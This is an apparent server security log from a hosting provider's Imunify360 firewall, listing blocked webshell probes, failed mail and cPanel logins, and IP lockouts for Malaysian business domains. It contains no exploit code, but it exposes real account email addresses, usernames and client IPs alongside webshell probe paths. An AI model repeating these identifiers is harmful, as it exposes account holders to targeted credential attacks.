IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/solidfence.com.my/product-posts/assets/img/product/P12_Others_ Fence_Railing.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.249.240.9
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=3&page_id=1&sub=41 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 10:18:45 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 136.0.108.207
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:10-20.136.0.108.207||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.236.15.67
country_id: 3469034
description:
Jan 21 10:20:54 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.236.15.67 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 21 10:21:38 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.236.15.67
country_id: 3469034
description:
Jan 21 10:21:02 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.236.15.67 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.111
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/malaysia-infinity-design-projects/residential/images/contact.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-21 10:22:06 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:49483: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/images/home/team.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.180.170.126
country_id: 1814991
description:
Jan 21 10:23:36 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.180.170.126 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.180.170.126
country_id: 1814991
description:
2026-01-21 10:23:38 dovecot_login authenticator failed for H=([220.180.170.126]) [220.180.170.126]:34847: 535 Incorrect authentication data (set_id=lutfi@essemgroup.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.30.83.158
country_id: 1269750
description:
Jan 21 10:23:45 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.30.83.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.30.83.158
country_id: 1269750
description:
Jan 21 10:23:58 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.30.83.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.130.171.16
country_id: 3469034
description:
Jan 21 10:23:58 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.130.171.16 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.106
country_id: 690791
description:
2026-01-21 10:24:28 H=([77.83.39.106]) [77.83.39.106]:50799 F=<Fix@coscoshippingspe.nl> rejected RCPT <astklia@astlog.com.my>: No Such User Here


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.50
country_id: 690791
description:
2026-01-21 10:24:58 H=([45.144.212.50]) [45.144.212.50]:62406 F=<azlan@permalanka.lk> rejected RCPT <astkbr@astlog.com.my>: No Such User Here


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.25.18.142
country_id: 1733045
description:
2026-01-21 10:27:02 dovecot_login authenticator failed for H=(NZakriAbdulGhan) [211.25.18.142]:60006: 535 Incorrect authentication data (set_id=hasmira@ajplantations.com.my)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 37.120.129.92
country_id: 2921044
domain: www.dsc-expat.com
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/www.dynamicsolutionsconsultancy.com||User:dscexpat||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.244.104.116
country_id: 3996063
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/when/13/38/1351628 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.25.18.142
country_id: 1733045
description:
2026-01-21 10:27:58 dovecot_login authenticator failed for H=(NZakriAbdulGhan) [211.25.18.142]:60012: 535 Incorrect authentication data (set_id=hasmira@ajplantations.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 10:28:24 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 203.55.131.5
country_id: 6252001
description:
2026-01-21 10:28:39 463436 [Warning] Aborted connection 463436 to db: 'unconnected' user: 'unauthenticated' host: '203.55.131.5' (This connection closed normally without authentication)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 198.235.24.167
country_id: 6252001
description:
2026-01-21 10:30:24 463508 [Warning] Aborted connection 463508 to db: 'unconnected' user: 'unauthenticated' host: '198.235.24.167' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.41
country_id: 2921044
description:
Jan 21 10:31:17 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.41 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 140.228.24.155
country_id: 6252001
description:
2026-01-21 10:31:45 dovecot_plain authenticator failed for H=([10.26.143.172]) [140.228.24.155]:9756: 535 Incorrect authentication data (set_id=info@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.20.222.202
country_id: 587116
description:
2026-01-21 10:32:32 dovecot_login authenticator failed for H=(localhost) [94.20.222.202]:61485: 535 Incorrect authentication data (set_id=info@visoft.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 140.228.24.155
country_id: 6252001
description:
2026-01-21 10:31:59 dovecot_plain authenticator failed for H=([10.26.143.172]) [140.228.24.155]:60370: 535 Incorrect authentication data (set_id=info@astlog.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.238
country_id: 2921044
description:
Jan 21 10:34:16 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.238 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.215.2
country_id: 732800
description:
Jan 21 10:37:48 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.215.2 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.215.2
country_id: 732800
description:
Jan 21 10:38:01 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.215.2 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.238
country_id: 2921044
description:
Jan 21 10:40:11 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.238 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 10:41:35 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 157.48.245.78
country_id: 1269750
domain: nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/nobledec.com/product.php?page_id=45 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 21 10:44:11 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-21 10:45:12 H=([45.144.212.242]) [45.144.212.242]:64003 F=<no_reply@admin.com> rejected RCPT <garylee@autogreastar.com.my>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.67.99.160
country_id: 2510769
description:
2026-01-21 10:46:19 dovecot_login authenticator failed for H=(localhost) [45.67.99.160]:19132: 535 Incorrect authentication data (set_id=info@garudabay.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.105.185
country_id: 3469034
description:
Jan 21 10:46:47 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.105.185 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.105.185
country_id: 3469034
description:
Jan 21 10:47:03 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.105.185 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.250
country_id: 2921044
description:
Jan 21 10:48:24 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.250 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 38.154.48.151
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:10-48.38.154.48.151||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-21 10:50:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:49799: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.145.216
country_id: 1880251
domain: www.fkr.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/contents/uploads/2022/04/tyresafetytips.php||SC:/home2/fkrcom/public_html/contents||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 10:51:14 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.64
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/news-n-events/img/img/img/img/demos/img/contact-us.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 78.153.140.207
country_id: 2635167
description:
2026-01-21 10:54:42 H=(localhost.localdomain) [78.153.140.207]:55024 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<no-reply@no-reply.com> rejected RCPT <a@b12.siagabaja.com>: Sender verify failed


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.64
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/news-n-events/img/demos/img/img/img/img/product.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.234
country_id: 3175395
description:
Jan 21 10:56:01 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.234 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 92.71.74.92
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:10-59.92.71.74.92||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.79.182.146
country_id: 3865483
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/press-details.php?id=949056 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.111
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/es/images/csr.php||SC:/home/indfinitydesign/public_html/es||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 60.54.59.48
country_id: 1733045
description:
[2026-01-21 11:03:00 +0800] info [webmaild] 60.54.59.48 - general@acburn.com.my "GET /cpsess8849589841/webmail/jupiter/index.html HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 11:04:29 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 21 11:06:46 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.27.244.4
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=34151514876261 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.205.103.66
country_id: 1835841
description:
2026-01-21 11:08:41 dovecot_login authenticator failed for H=([175.205.103.66]) [175.205.103.66]:58637: 535 Incorrect authentication data (set_id=aniza@mckd.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.205.103.66
country_id: 1835841
description:
Jan 21 11:08:39 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.205.103.66 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.246.68.220
country_id: 1835841
description:
2026-01-21 11:09:36 dovecot_login authenticator failed for H=([49.246.68.220]) [49.246.68.220]:44966: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.55.89.5
country_id: 1269750
description:
2026-01-21 11:10:13 dovecot_login authenticator failed for H=([103.55.89.5]) [103.55.89.5]:52908: 535 Incorrect authentication data (set_id=william_althea@imax.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.8.109
country_id: 3175395
description:
Jan 21 11:10:07 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.8.109 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.55.89.5
country_id: 1269750
description:
Jan 21 11:10:11 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.55.89.5 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 11:14:09 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 24.152.76.65
country_id: 3469034
description:
Jan 21 11:14:19 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 24.152.76.65 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.17
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/demos/img/img/about.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.36.114.3
country_id: 6252001
description:
2026-01-21 11:17:12 dovecot_login authenticator failed for H=(localhost) [77.36.114.3]:13553: 535 Incorrect authentication data (set_id=info@af-sb.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.227.39.222
country_id: 798544
description:
Jan 21 11:18:44 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.227.39.222 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-21 11:18:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:49958: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 185.214.10.21
country_id: 2750405
description:
2026-01-21 11:18:38 H=([185.214.10.21]) [185.214.10.21]:55498 F=<info@mkmetal.com.my> rejected RCPT <info@mkmetal.com.my>: smtp auth required


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.128.173
country_id: 3469034
description:
Jan 21 11:19:05 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.128.173 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 27.125.240.150
country_id: 1733045
description:
[2026-01-21 11:19:27 +0800] info [webmaild] 27.125.240.150 - jlpom@ajplantations.com.my "POST /cpsess7863183184/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [27.125.240.163] != Current IP Address [27.125.240.150]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 223.210.27.53
country_id: 1814991
description:
Jan 21 11:21:01 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 223.210.27.53 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.210.27.53
country_id: 1814991
description:
2026-01-21 11:21:03 dovecot_login authenticator failed for H=([223.210.27.53]) [223.210.27.53]:40966: 535 Incorrect authentication data (set_id=boss@astlog.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.229.253.18
country_id: 3865483
description:
Jan 21 11:23:27 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.229.253.18 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 21 11:23:44 sv3 pure-ftpd[2642392]: (?@113.211.215.143) [INFO] New connection from 113.211.215.143


plugin: ossec
rule: 11305
name: Attempt to access invalid directory
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 21 11:23:45 sv3 pure-ftpd[2642392]: (eminent@113.211.215.143) [INFO] Can't change directory to /42.0.28.63: No such file or directory


plugin: ossec
rule: 11313
name: FTP file uploaded to server
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 21 11:24:06 sv3 pure-ftpd[2643284]: (eminent@113.211.215.143) [NOTICE] /home/eminent//public_html/folder/merge267/premier_edm.html uploaded  (75762 bytes, 1535.82KB/sec)


plugin: ossec
rule: 11314
name: FTP file deleted from server
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 21 11:24:00 sv3 pure-ftpd[2642392]: (eminent@113.211.215.143) [NOTICE] Deleted /home/eminent//public_html/folder/merge267/images/Cross-sell-banner-(for-Mass-eDM-only).jpg


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 21 11:24:04 sv3 pure-ftpd[2643284]: (?@113.211.215.143) [INFO] New connection from 113.211.215.143


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/img/photos/press.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 11:27:28 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.59.173.178
country_id: 3017382
description:
[2026-01-21 11:27:46 +0800] info [cpaneld] 37.59.173.178 - cofreth "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cofreth (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.40
country_id: 2921044
description:
Jan 21 11:27:51 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.40 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.62.156.176
country_id: 1733045
description:
2026-01-21 11:27:54 dovecot_plain authenticator failed for H=(smtpclient.apple) [182.62.156.176]:40753: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.62.156.176
country_id: 1733045
description:
2026-01-21 11:27:59 dovecot_plain authenticator failed for H=(smtpclient.apple) [182.62.156.176]:40744: 535 Incorrect authentication data (set_id=albert@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.192.16.157
country_id: 2963597
description:
2026-01-21 11:28:02 dovecot_login authenticator failed for H=(localhost) [185.192.16.157]:4333: 535 Incorrect authentication data (set_id=info@garudabay.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 21 11:29:36 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 185.214.10.21
country_id: 2750405
description:
2026-01-21 11:29:59 H=([185.214.10.21]) [185.214.10.21]:57463 F=<info@cordage.com.my> rejected RCPT <sales@cordage.com.my>: smtp auth required


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.133.92.214
country_id: 3996063
domain: www.myfurnitureshop.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.myfurnitureshop.com.my/sofa14.html HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 185.214.10.21
country_id: 2750405
description:
2026-01-21 11:31:24 H=([185.214.10.21]) [185.214.10.21]:62241 F=<info@pspoly.com.my> rejected RCPT <info@pspoly.com.my>: smtp auth required


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 167.94.138.48
country_id: 6252001
description:
2026-01-21 11:35:35 466865 [Warning] Aborted connection 466865 to db: 'unconnected' user: 'unauthenticated' host: '167.94.138.48' (This connection closed normally without authentication)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.27.19.201
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/training-details.php?id=901164 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.62.156.176
country_id: 1733045
description:
2026-01-21 11:36:43 dovecot_plain authenticator failed for H=(smtpclient.apple) [182.62.156.176]:40765: 535 Incorrect authentication data


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 11:37:09 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.62.156.176
country_id: 1733045
description:
2026-01-21 11:39:18 dovecot_plain authenticator failed for H=(smtpclient.apple) [182.62.156.176]:40741: 535 Incorrect authentication data


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 167.56.110.204
country_id: 3439705
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=96111514874184 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.62.156.176
country_id: 1733045
description:
2026-01-21 11:42:42 dovecot_plain authenticator failed for H=(smtpclient.apple) [182.62.156.176]:40734: 535 Incorrect authentication data


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.73.226
country_id: 3469034
description:
Jan 21 11:43:26 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.73.226 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.59.173.178
country_id: 3017382
description:
[2026-01-21 11:43:36 +0800] info [cpaneld] 37.59.173.178 - ajplanta "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ajplanta (has_cpuser_file failed)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 45.91.64.7
country_id: 2017370
description:
2026-01-21 11:44:04 467228 [Warning] Aborted connection 467228 to db: 'unconnected' user: 'unauthenticated' host: '45.91.64.7' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-21 11:46:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:50150: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.189.204.219
country_id: 3469034
description:
Jan 21 11:49:25 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.189.204.219 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 11:50:28 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.105.76
country_id: 3469034
description:
Jan 21 11:49:59 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.105.76 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.238
country_id: 2921044
description:
